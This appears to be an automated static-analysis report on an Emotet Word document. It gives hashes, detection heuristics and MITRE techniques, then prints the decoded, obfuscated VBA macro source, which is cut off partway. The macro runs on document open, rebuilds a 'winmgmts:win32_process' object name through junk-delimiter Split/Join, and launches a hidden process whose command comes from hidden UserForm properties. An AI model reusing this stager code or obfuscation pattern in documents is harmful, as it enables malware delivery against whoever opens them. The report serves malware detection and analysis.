Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b06e62505b71b7c8…

MALICIOUS

Office (OLE)

229.9 KB Created: 2020-08-12 09:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: dfe1bf75d36e92348eabefd5cdd40dce SHA-1: 9dcf39f4545579c0acf95675bae5a7058b08fce8 SHA-256: b06e62505b71b7c8f9877cf99eff81c680cc21dc871069cbd98141bc77e6a4de
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9293537-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9293537-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4196 bytes
SHA-256: ff3849ec919496126d15fbe237789d6f7e89a2fc0f7f5a3dec62216b023f5eb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HUTCVasnudms"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
DTWVTluvnbep.OJRVWehjfmqxhqlamn
End Sub


Attribute VB_Name = "DTWVTluvnbep"
Attribute VB_Base = "0{D2FE373F-FA7E-4E6D-9101-E8F0B8590A63}{29D298ED-CAEB-40B7-839B-8F14FC310DBE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OJRVWehjfmqxhqlamn()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
ZGJZSdiokajsitsaibs = DTWVTluvnbep.Zoom
Dim qalqj4 As Long
QROLJxssyvbaemlmzv = ChrW(ZGJZSdiokajsitsaibs + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
SXQJYozjcxojzdqstc = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + QROLJxssyvbaemlmzv + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + DTWVTluvnbep.WUQCWqifpeaniqefx + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
YUCYPvjfumkv = EATGNvodtdwrpyups(SXQJYozjcxojzdqstc)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set YZXHTelolltqvnagv = CreateObject(YUCYPvjfumkv)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
AOSJTqhsuxwptzcbz = DTWVTluvnbep.IEHHGkgifucgevsmjf.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
WBTSPcnfmazilbhb = wr3 + (YUCYPvjfumkv + QROLJxssyvbaemlmzv + DTWVTluvnbep.BOHKPwquwvfbch.ControlTipText + AOSJTqhsuxwptzcbz)
Dim wvmmrH As Date
WQBHOsehgvey = WBTSPcnfmazilbhb + DTWVTluvnbep.WUQCWqifpeaniqefx
Dim MpZWoUV As Currency
Set ACELSdkddfax = YBWZBojtovtqnyvzg(WQBHOsehgvey)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", YZXHTelolltqvnagv. _
Create(WLCURgkdunffxza, ZFFRDxsprgnrrnnjxwg, ACELSdkddfax), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function YBWZBojtovtqnyvzg(IZJWTuonxjdklrr)
Set YBWZBojtovtqnyvzg = CreateObject(IZJWTuonxjdklrr)
Dim OyVTtsivo As Byte
YBWZBojtovtqnyvzg. _
showwindow = WAGTSxiwgmpwbgi + TMICOsnpvmarlzzbk
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function EATGNvodtdwrpyups(EBLTRuwrbtoffnnfncx)
IAHVWhtldmoxrcry = EBLTRuwrbtoffnnfncx
Dim L4áNd6Ámj As Byte
HSOYBtyhchcknqzqe = Split _
(IAHVWhtldmoxrcry, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
BYMXSvvtfogsouq = xz + Join(HSOYBtyhchcknqzqe, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
EATGNvodtdwrpyups = BYMXSvvtfogsouq
Dim Iwwp As Double
End Function
Function WLCURgkdunffxza()
j = DTWVTluvnbep.QQKJKqhrdjetgvmprf.Pages(vbOK).Tag
Dim mj0Ù As Long
WLCURgkdunffxza = EATGNvodtdwrpyups(j)
Dim YB2ÏF4ÛsA As Integer
For YB
... (truncated)